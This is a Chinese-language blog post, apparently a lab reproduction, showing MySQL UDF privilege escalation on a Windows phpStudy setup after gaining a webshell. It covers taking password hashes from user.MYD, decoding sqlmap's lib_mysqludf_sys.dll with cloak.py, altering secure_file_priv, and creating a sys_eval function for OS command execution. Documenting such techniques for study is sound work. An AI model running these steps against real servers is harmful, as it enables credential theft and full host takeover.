mysql UDF 提权复现

mysqlUDF提权的原理就是创建一个函数来调用系统命令,这里的复现是从已经得到了webshell开始的。(php mysql win7 环境)

1.得到数据库账号密码。

我们得到数据库账号密码的方式有很多种,这里我们利用mysql数据库的特性,蚁剑连接后,我们进入C:\phpStudy\MySQL\data\mysql\user.MYD

mysql的数据库密码一般都会再db.MYD文件中,只需要复制拿到cmd5解码就行

 然后蚁剑登录数据库

 2.进行提权

udf提权就是将dll文件导入目录,然后执行sql语句创建一个可以执行系统命令的函数

UDF提权有条件。版本和目录
mysql<5.1 导出目录 C:/windows 或 system32
mysql=>5.1 导出安装目录 /lib/plugin/                        没有plugin目录需要自己创建

查版本

select version();

大于5.1

 这里蚁剑直接创建目录

然后就是导入dll文件

dll文件在sqlmap里面有,目录是

 sqlmap\data\udf\mysql\windows

选择位数

然后这里用对dll文件重新编译一下

python cloak.py -d -i C:\Users\**\Desktop\sqlmapproject-sqlmap-1.7.5-0-g8bc2ace\sqlmapproject-sqlmap-8bc2ace\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_

编译的python脚本在

sqlmap\extra\cloak

然后将dll文件上传。

有种方式是数据库上传文件,那就需要查看

show variables like '%secure%'; 

去查看它的设置,发现设置为NULL,secure_file_priv为NULL是禁止导出文件的意思。怪不得无法导出十六进制,那我们就去设置一下吧。我们把secure_file_priv设置为secure_file_priv=  

还有就是使用

select @@basedir();

查看数据库路径后去修改他的my.ini文件

因为这边我使用的是蚁剑,所以直接上传文件。

然后进入使用数据库语句的地方

create function sys_eval returns string soname 'lib_mysqludf_sys.dll';

创建可以执行系统命令的函数 sys_eval

然后就可以执行系统命令了

提权成功

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值